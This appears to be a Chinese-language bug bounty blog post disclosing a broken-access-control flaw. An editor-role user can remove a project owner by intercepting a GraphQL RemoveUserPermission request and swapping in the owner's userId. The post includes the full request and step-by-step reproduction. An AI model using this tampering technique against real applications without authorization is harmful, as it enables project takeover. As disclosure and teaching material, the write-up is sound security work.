通过操纵GraphQL请求删除项目所有者的业务逻辑漏洞

本文详细披露了一个业务逻辑漏洞,允许具有编辑者权限的用户通过修改GraphQL API请求来删除项目所有者,尽管Web界面已正确阻止此操作。文章包含完整的复现步骤和影响分析。

业务逻辑错误——通过操纵GraphQL请求删除项目所有者

引言

大家好👋我是Black,一名安全研究员和漏洞赏金猎人,热衷于发现现代Web应用中深藏的逻辑缺陷。在本文中,我将分享在测试过程中发现的一个业务逻辑漏洞——这个微妙但影响重大的漏洞允许具有编辑者权限的用户通过操纵GraphQL请求来删除项目所有者。

漏洞描述

在测试项目权限管理功能时,我发现了一个业务逻辑漏洞,允许具有编辑者角色的用户删除项目所有者。

Web界面正确阻止了此操作,并显示消息: “无法编辑项目所有者的角色。请先转移项目所有权。”

然而,后端GraphQL API并未强制执行相同的验证。通过修改API请求中的单个字段,编辑者可以绕过UI限制删除所有者。

漏洞请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
POST /graphql HTTP/2
Host: test.com
Cookie: session=...
Content-Type: application/json

{
  "operationName": "RemoveUserPermission",
  "variables": {
    "projectId": "019a5c54-050f-7336-a311-10f161311764",
    "userId": "01993101-a1ea-7554-9d83-9093ab23efdc"
  },
  "extensions": {
    "persistedQuery": {
      "version": 1,
      "sha256Hash": "dda620364596731a399b245b648a0acda1d3e66156323e847075064333787572"
    }
  }
}

🧠 复现步骤

  1. 以具有编辑者权限的用户身份登录
  2. 在UI中正常删除低权限用户——这会触发GraphQL请求
  3. 使用Burp Suite(或其他代理工具)拦截请求
  4. 将低权限用户的userId替换为所有者的userId
  5. 转发修改后的请求

结果:尽管UI阻止了此操作,但所有者仍被成功删除。

影响

  • 编辑者可以删除项目所有者,实际上接管项目控制权
  • 可能导致所有权丢失、权限提升和完全的项目接管

联系方式

LinkedIn — https://www.linkedin.com/in/ali-abbas-b405a4333/ X — https://x.com/BL4ckSec

相关标签

Bug Bounty | Bug Bounty Tips | Hacking | Bug Bounty Writeup | Bugs

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计